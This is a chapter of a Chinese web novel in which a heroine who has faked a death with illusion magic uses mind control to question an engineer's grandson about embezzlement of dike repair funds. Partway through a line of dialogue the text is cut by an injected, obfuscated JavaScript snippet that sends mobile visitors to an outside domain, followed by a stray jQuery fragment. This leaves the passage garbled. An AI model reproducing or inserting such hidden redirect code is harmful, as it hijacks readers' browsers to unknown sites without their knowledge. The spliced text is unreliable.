谢晦已剖析着脑海中的记忆，确认了方向，只身一人直奔城西而去。
昨日支开李兰畹她们，她毫不遮掩行踪，在庙中招摇过市，引出了定庙中受过侯府恩惠，意欲向苏历通风报信的香客。
杀了这香客，让他替温若水而死，最大的问题便是如何瞒天过海。
经过这些时日的修行，她也想试试其他术法。其中一门，便是将幻术寄托于物，将念力短暂残余其上，令接触者瞧见施法者指定之物，抑或是送此物入了他们的梦。
可条件苛刻在，人只能想象自己见过的事物，所以接触尸体的仵作必须见过温若水的模样。
谢晦已不敢在这上面赌，于是做了两手准备。
其一，砸烂尸体的脸，在他身上划下胎记的痕迹，只附着简易的幻术，引导接触尸体的人相信这就是一具女尸。
其二，抓一个蹲在寺庙外的小乞丐，塞些钱，让他去官府行贿，声称自己是侯府的人，让他们将方姨娘跟尸体尽快打发走。
昨夜她顺畅地带走了尸体，喊上李兰畹也是想确认，那幻术究竟会持续多久。
然而李兰畹吓破了胆子，根本没怀疑这不是女尸。一时间，谢晦已实在分辨不清，李兰畹到底是没心思分析尸体的疑点，还是念力尚未失效。
于是，她用了一个晚上的时间，精打细算地哄了两个人。
也用了一个晚上的时间，利用那具尸体最后的价值，也就是他的记忆，节省掉不必要的打听。
这便是她来到此地的缘由。
“滋滋——”
软糯的米糕，滚落热油中。
“你说什么？姜汤？我们摊子不卖这东西。小姑娘，年糕要不要啊？”
“滋滋——”
手中长筷搅了搅，油锅里翻面，炸至金黄。
明火在旁，谢晦已不得不提高声音：“吴前辈，是绥江东岸的江塘！定州西边那个堤坝！官府差我前去巡查，我该怎么上去啊？”
吴前辈一惊，险些丢掉筷子：“苔菜年糕怎么加姜汤？难道要泡在里面吃？天娘哎，要命啊！”
谢晦已绝望地闭上了双眼，随后深吸一口气，朝他耳朵大吼道：
“吴前辈，我要去江塘堤坝！他们说你从前是工部的人！”
“哦哦，你要去江塘那边啊。”
吴前辈后知后觉，不紧不慢地盛出油锅里的炸年糕，“我让我那个不成器的孙儿带你去啊喂！”
一名与谢晦已年纪相仿的男子从屋中走出。他身形不高，笑起来颇为亲和，清爽得像阳光晒过的白衣，还残余着几分皂角香。
“我是吴畏，不知这位小姐如何称呼？”
谢晦已这才反应过来，吴前辈喊的是“阿畏”。
“我姓谢，吴公子，今日有劳你了。”
说着，她从袖中摸出指挥使令牌，缓缓举到吴畏面前，“我奉指挥使大人之命而来，是为暗查江塘，倘若官府事先得知我来，必不会叫我瞧见端倪。”
“此事好办，谢小姐请随我来。”
吴畏转身走回屋子，在内室的几个木箱中翻找起来。
谢晦已环顾四周，虽有一墙之隔，可吴前辈炸年糕的动静，还有人来人往的喧闹声根本无法阻挡在外。
见内室只有一张床，她不禁问道：“吴公子不住在这里吗？”
“祖父一个人住在这，我爹娘不放心他，白天会叫我来帮忙。”吴畏回答道。
“此地偏远，吴前辈一个人住在这里，只是为了做年糕生意吗？”谢晦已惊讶道。
“是啊。其实这间铺子地段不怎么好，往日客源稀少，他赚不了几个钱的。”
他一边翻找东西，一边抱怨道：“唉，也不知道他上了年岁还起什么劲，总嫌定州的苔菜不地道，非要自己支个摊子。”
谢晦已轻笑一声：“吴前辈是哪里人？在我家乡那边有一句话，一直劳作的老人忽然歇下来，是会生病的。所幸生意也不算兴旺，吴前辈做着玩倒也无妨。”
“他是耦州人。我爹也是这样想的，劝也劝不住，索性放任不管，只要别被旁人骗了钱便好。”
吴畏拿出来一件干干净净的粗布麻衣，递给了谢晦已，“谢小姐可以假扮祖父新收的学徒，换上这件江工服，随我一同前去。这件衣服是我新做出来的，谢小姐放心穿。”
吴畏交代完这些，便走出了房门，将内室留给了谢晦已。
谢晦已摸了摸布料，发觉这件衣服极为耐磨，束腰窄袖，一看便是做工时的用装。一旁的木桌上，吴畏还贴心地替她备了一条发带，颜色与衣衫同料，都是低调素雅的群青色。
换上衣衫束起马尾，谢晦已推门而出。
吴畏正在劝吴前辈去歇息，扭头见谢晦已走出房门，他转头道了声别，带谢晦已坐上街角的马车，从西城门出了定州城。
谢晦已掀开车窗一角，远远眺望江塘堤坝。
“绥江在定州这一段的堤坝，最重要的就是江塘，因为绥江在这里转折向北，一到雨季冲拍过来的江涛大得惊人，声音跟狮吼似的。”
吴畏为她介绍道：“我祖父是负责这一段的都料匠，自从江塘完工起，就一直留在定州。官府的人都认识他，所以就算他不在工部任职了，也破例让他上堤坝。每次维护堤坝时，都会请他去瞧瞧。”
谢晦已缓缓转过头，直视着吴畏的双眼，出言询问道：
“你随你祖父去查看堤坝时，有没有发现什么异常之处？”
吴畏对上她的眼睛时，忽然晃神了片刻，随后如提线木偶般老老实实交代道：
“没什么吧，他们都算是我祖父的后辈，年年见了我祖父都是那些话，抱怨啊，哭穷啊，又脏又累啊，风吹日晒啊，之类的。
“我祖父每个月都朝那个窟窿眼里添钱，见了人又热泪盈眶地再掏一笔钱，哎呀，怎么劝都劝不住。”
谢晦已忽然觉察到了什么，向他倾注的念力不禁多了几分，“难道江塘堤坝每个月都要维护？”
吴畏：“是啊，不频繁维护，官府哪来的钱？”
谢晦已不禁皱紧眉头：“这些年来一直如此？”
吴畏：“没办法呀，江塘是要修的，钱也是要贪的，朝廷拨的钱到了定州，连买块石头都不够，那只能把整年要干的事情拆分掉，一个月补块砖，一个月补片瓦。真心想修的，搭上了真心想赚钱的，也只能这样协调做事了。”
说到这里，他又叹息一声：“新帝刚登基，官场一变动，后加入的也要分一杯羹，只能是下面的人扁了腰包。上面鼓励多跑腿，少谈利，下面的人头疼脑热，再被寻个错处，每月的俸禄扣一扣，到手里能养家糊口就不错了。”
谢晦已的眉头锁得更紧了：“上下没个干净的？”
吴畏：“也不能这样说，比旱季的江水浑，比雨季的江水清，绥江里的鱼改变不了滚滚江涛，不求进取，随波逐流，就只能被大浪拍死在江塘上。真出了大错，也有被推出来的大鱼去咬钩。大利无关己，大祸不及身，大家都是这样想的。”
谢晦已停顿片刻，随后继续询问道：“你祖父用毕生所学为民筑塘，你师承于他，又为何不接了他的衣钵？有他的荫庇在，你在官场也不会受人刁难。”
吴畏：“我就这样随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881974|176309||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祖父做事挺好的，不担官职，便没有受利，无愧于心，也不必汲汲经营，更不至于拖累至亲。”
谢晦已颇为疑惑：“拖累至亲？这是何意？”
吴畏：“女子不得为官啊，谢小姐。”
闻言，谢晦已操纵念力的手指一抖，险些失控：“什么？”
就在二人交谈间，江塘缓缓露出了全貌。
黄土夯实，两丈高的堤坝横亘整个绥江东岸，仿若一道不可逾越的天堑。枯水期的江水虽失了往日气势，却永无停歇地冲刷着条石，飞溅的浪花重重砸在坝体，却又缓缓顺着石壁流落，日复一日，最终留下岁月的损耗。
岁月依旧，计划依旧。
谢晦已默默地收了手，转头看向窗外。
吴畏恍惚的目光渐渐有了定点。如梦初醒，她浑身一激灵，意识到自己似乎愣神许久，赶忙看向谢晦已，正欲开口道歉时，又发现谢晦已毫无觉察，正若有所思地看着沿途风景。
她放下心来，暗暗松了一口气。
车行至江塘，两人一前一后下了马车。谢晦已紧随其后，踏上沿岸一侧砌好的石阶，走向坝顶。
“谢小姐当心，上面风大且没有围栏，地面又有湿滑的江水，一旦掉下去后果不堪设想。”
吴畏稍缓步伐，在她身侧低声叮嘱道：“我暂称谢小姐为师弟，谢小姐称呼我为师兄便好。我先上去与他们打交道，等他们点头放行再带谢小姐上去，谢小姐莫要暴露女身。”
“我晓得了，我停在这里等你。”谢晦已答道。
吴畏不敢耽搁，跳跨几个台阶，一路向上小跑而去。许是她与官兵颇为熟稔，不多时，她又折返而归，站在台阶顶端对谢晦已招了招手。
谢晦已继续向上而行。
而在她的身后，细密的黑点如影随形，泥土若沸水般开始翻涌。眼下不仅是坝顶，天色变了又变，黑云压城，飞沙走石，旋着几片枯叶转了又转，地面也开始有了风。
站在坝顶俯瞰绥江，蜿蜒巨龙绕山而行，切割出壮丽的峡谷后，单刀直入江南平原，会见这座井然有序的定州城，与它相伴十余载，历经风雨而不倒的江塘堤坝。
寒冬的风吹得谢晦已眯起双眼，多匀了几分心思，转身躲避来自四面八方的风。
吴畏一如既往，有一句没一句地与官兵们攀谈。而由于今日谢晦已是作为学徒替吴前辈而来，他们便多问了几句吴前辈的身体状况。
“老毛病了，阴雨天就腿疼。这地方潮湿，你们守卫在外也注意防寒啊。”吴畏自然而然地扯谎道。
官兵：“防寒能顶个什么用，一刮风就全吹透了。倒是你，这小身板的生了病可怎么办，家里也没个照顾的可心人。吴老弟，你什么时候成个家啊？”
吴畏叹息一声，又摆了摆手，一副已有意中人的模样，“强求不得啊，随缘吧，随缘吧。”
谢晦已意不在此，便也没有插话。只随着吴畏东瞧瞧，西看看，寻找一个合适的位置。
“这里怎么回事？”
面前的吴畏忽然停下脚步，“这块条石上的裂痕，是我祖父三个月前指出来的，上个月又催了一次，一直没人来修吗？”
“唉，我们没钱啊，吴老弟。”今日当值，驻扎在此的倒霉小吏忽然开口道。
“怎么又没钱了？”吴畏回过身，目光冷然，“没几天就是除夕了，朝廷年前拨的最后一笔银钱哪里去了？”
那小吏意有所指：“吴老弟，你消息不灵通啊，定州来了位大人物，处处都在招待着呢，官府哪有闲钱？”
谢晦已不动声色地看了他一眼，心中疑惑丛生。